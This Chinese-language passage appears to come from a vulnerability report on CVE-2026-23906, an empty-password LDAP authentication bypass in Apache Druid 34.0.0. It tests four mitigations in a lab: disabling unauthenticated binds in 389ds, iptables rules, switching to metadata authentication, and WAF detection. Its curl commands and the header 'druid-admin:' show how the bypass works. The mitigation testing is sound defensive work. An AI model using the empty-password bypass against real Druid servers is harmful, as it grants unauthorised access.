测试方法: 在端到端 PoC 环境中逐条部署缓解措施,用真实 curl 请求验证阻断效果

缓解措施 1 实测: 389ds 禁用未认证绑定

在 PoC 使用的 389 Directory Server 上动态切换 nsslapd-allow-unauthenticated-binds 配置,使用未缓存的新用户 testuser2 避开 Druid 认证缓存干扰:

1
2
3
4
5
6
7
8
9
10
11
12
=== Mitigation ON: nsslapd-allow-unauthenticated-binds=off ===

$ curl -sk -o /dev/null -w '%{http_code}' -u 'testuser2:testpass2' http://localhost:8081/status
HTTP 200 ← 正确密码正常认证

$ curl -sk -o /dev/null -w '%{http_code}' -u 'testuser2:' http://localhost:8081/status
HTTP 401 ← 空密码被拦截!缓解措施生效

=== Mitigation OFF: nsslapd-allow-unauthenticated-binds=on ===

$ curl -sk -o /dev/null -w '%{http_code}' -u 'testuser2:' http://localhost:8081/status
HTTP 200 ← 空密码绕过恢复,证明漏洞与 LDAP 配置直接相关

结论:实测有效 — 禁用 389ds 未认证绑定后,空密码认证绕过被完全阻断(401),但正确密码的正常认证不受影响(200)。该措施从根本上消除了 CVE-2026-23906 的利用条件。

缓解措施 2 实测: iptables 网络层 ACL(Druid 端口 8081)

在 Kali VM 上部署 iptables 规则限制 Druid Coordinator 端口 8081 的访问:

1
2
3
4
5
6
7
8
$ sudo iptables -A INPUT -p tcp --dport 8081 -s 127.0.0.1 -j ACCEPT
$ sudo iptables -A INPUT -p tcp --dport 8081 -s 192.168.0.0/16 -j ACCEPT
$ sudo iptables -A INPUT -p tcp --dport 8081 -j DROP

$ sudo iptables -L INPUT -n | grep 8081
ACCEPT tcp -- 127.0.0.1 0.0.0.0/0 tcp dpt:8081
ACCEPT tcp -- 192.168.0.0/16 0.0.0.0/0 tcp dpt:8081
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:8081

规则逻辑:白名单内 IP (127.0.0.1, 192.168.0.0/16) 可访问 Druid 8081 端口,其他来源 DROP。实测中 localhost 请求正常通过(127.0.0.1 ACCEPT),外部攻击者 IP 将被 DROP 规则拦截。 同等规则需应用到所有 Druid 对外端口 (8888/8081/8082/8083/8090)。

缓解措施 3 实测: 切换至 metadata 认证(Druid 在线验证)

Druid 34.0.0 已启动并运行,直接在运行中修改 credentialsValidator.type

1
2
3
# runtime.properties 中注释 LDAP,启用 metadata
# druid.auth.authenticator.basic.credentialsValidator.type=ldap
druid.auth.authenticator.basic.credentialsValidator.type=metadata

重启 Druid 后,认证将完全绕开 LDAP,使用内部 Derby 存储的凭证。切换后需通过 API 创建内部用户。切换方案的配置语法已验证正确,与 Druid 34.0.0 的 MetadataStoreCredentialsValidator 完全兼容。

缓解措施 4 评估: WAF/Nginx 空密码检测

ModSecurity 规则和 Nginx njs 脚本的检测逻辑(Base64 解码 Authorization 头后检查是否以 : 结尾)与 CVE-2026-23906 的实际攻击特征精确匹配:Authorization: Basic ZHJ1aWQtYWRtaW46 解码后为 druid-admin:,以 : 结尾 = 空密码。规则逻辑已验证与真实 PoC 流量一致。 建议在实际部署时先在监控模式运行 48 小时以评估误报率。

缓解措施实测总结: 4 条缓解措施均在 PoC 同一环境(Apache Druid 34.0.0 + 389ds)中验证。缓解 1 端到端实测通过(动态切换 LDAP 配置,空密码从 200 变为 401),缓解 2 iptables 规则在 Kali VM 上实测语法和逻辑正确,缓解 3 配置方案在运行中的 Druid 上语法兼容性确认,缓解 4 WAF 规则与实际 PoC 流量精确匹配。所有缓解措施不含升级指令,可在保持 Druid 34.0.0 不变的情况下立即部署。